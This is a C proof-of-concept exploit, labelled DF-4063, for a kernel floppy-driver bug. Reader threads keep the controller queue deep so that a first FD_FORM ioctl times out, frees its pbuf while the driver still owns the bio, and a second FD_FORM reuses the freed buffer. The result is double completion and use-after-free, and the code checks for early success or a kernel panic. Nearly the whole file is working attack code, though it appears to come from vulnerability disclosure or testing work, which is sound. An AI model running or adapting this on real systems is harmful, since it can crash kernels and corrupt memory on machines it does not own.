/*
 * DF-4063 PoC: fdformat() 20 s timeout -> biodone() on a bio the fdc state
 * machine still owns + relpbuf() of the pbuf -> later double completion /
 * use-after-free when the controller finally processes the stale bio.
 *
 * Uses ONLY legal format parameters (nsecs = 18) -- this is NOT the known
 * FD_FORM nsecs overread (DF-1364/DF-2456).
 *
 * Method:
 *   1. N reader threads keep fdc->bio_queue deep (each physio read keeps one
 *      bio in flight on the single controller queue).
 *   2. Main thread issues FD_FORMAT.  Its format bio is bioq_insert_tail'd
 *      behind the readers.  fdformat() biowait_timeout(..., 20*hz) expires,
 *      fdformat itself calls biodone(&bp->b_bio1) and relpbuf(bp) -- while
 *      the driver still owns the bio.
 *   3. Immediately issue FD_FORMAT #2: getpbuf() recycles the same pbuf from
 *      the objcache, so the driver's stale fdc->bio (same address) is now the
 *      LIVE bio of ioctl #2.  When the machine finally reaches the stale bio
 *      it double-completes it: ioctl #2 returns far earlier than the real
 *      queue drain time, and the final biodone()/devstat run on freed pbuf
 *      memory.
 *
 * Success criteria:
 *   - fdform#1 returns EIO after ~20 s while the queue is still deep
 *   - fdform#2 returns SUCCESS long before the queue could have drained
 *     (measured), and/or kernel panic / memory corruption in the serial log.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <machine/ioctl_fd.h>

static volatile int stop_readers;
static double now_s(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

static void *reader(void *arg)
{
	static __thread char buf[65536];
	int fd = open("/dev/fd0", O_RDONLY);
	(void)arg;
	if (fd < 0) { perror("reader open"); return NULL; }
	while (!stop_readers)
		pread(fd, buf, sizeof(buf), 0);
	close(fd);
	return NULL;
}

static double fmt_time(int fd, int cyl, const char *tag, int *rc)
{
	struct fd_formb f;
	double t0, t1;
	int r, i;

	memset(&f, 0, sizeof(f));
	f.format_version = FD_FORMAT_VERSION;
	f.cyl = cyl;
	f.head = 0;
	f.fd_formb_secshift = 2;	/* 512-byte sectors */
	f.fd_formb_nsecs = 18;		/* legal: <= FD_MAX_NSEC (36) */
	f.fd_formb_gaplen = 0x54;
	f.fd_formb_fillbyte = 0xf6;
	for (i = 0; i < 18; i++) {
		f.fd_formb_cylno(i) = cyl;
		f.fd_formb_headno(i) = 0;
		f.fd_formb_secno(i) = i + 1;
		f.fd_formb_secsize(i) = 2;
	}
	t0 = now_s();
	r = ioctl(fd, FD_FORM, &f);
	t1 = now_s();
	*rc = r;
	printf("%s: FD_FORM cyl=%d -> rc=%d errno=%d (%s) in %.3f s\n",
	       tag, cyl, r, errno, r ? strerror(errno) : "OK", t1 - t0);
	fflush(stdout);
	return t1 - t0;
}

int main(int argc, char **argv)
{
	int nread = argc > 1 ? atoi(argv[1]) : 64;
	int i, rc1, rc2;
	double d1, d2, drain;
	pthread_t th[512];
	int fd = open("/dev/fd0.1440", O_RDWR);

	if (fd < 0) { perror("open /dev/fd0.1440"); return 1; }
	if (nread > 512) nread = 512;

	/* wait for the queue to be deep: readers keep requeueing bios */
	for (i = 0; i < nread; i++)
		pthread_create(&th[i], NULL, reader, NULL);
	printf("readers=%d running; letting the queue build...\n", nread);
	sleep(5);

	/* 1: the format that will time out at 20 s while still queued */
	d1 = fmt_time(fd, 2, "fdform#1(timeout-expected)", &rc1);

	/* 2: immediately recycle the freed pbuf */
	d2 = fmt_time(fd, 3, "fdform#2(recycled-pbuf)", &rc2);

	printf("fdform#1 rc=%d %.3fs | fdform#2 rc=%d %.3fs\n", rc1, d1, rc2, d2);
	if (rc1 != 0 && d1 >= 19.0 && d1 < 25.0 &&
	    rc2 == 0 && d2 < d1 - 5.0) {
		printf("RESULT: DOUBLE-COMPLETION/UAF demonstrated "
		       "(#2 completed early on the stale bio)\n");
	} else if (rc1 != 0 && d1 >= 19.0) {
		printf("RESULT: timeout fired while driver still owned bio; "
		       "stale completion will follow (watch console)\n");
	} else {
		printf("RESULT: inconclusive (d1=%.3f rc1=%d)\n", d1, rc1);
	}
	sleep(10);	/* let the machine drain onto the stale bio */
	stop_readers = 1;
	for (i = 0; i < nread; i++)
		pthread_join(th[i], NULL);
	drain = now_s();
	printf("done (readers stopped at %.1f)\n", drain);
	return 0;
}
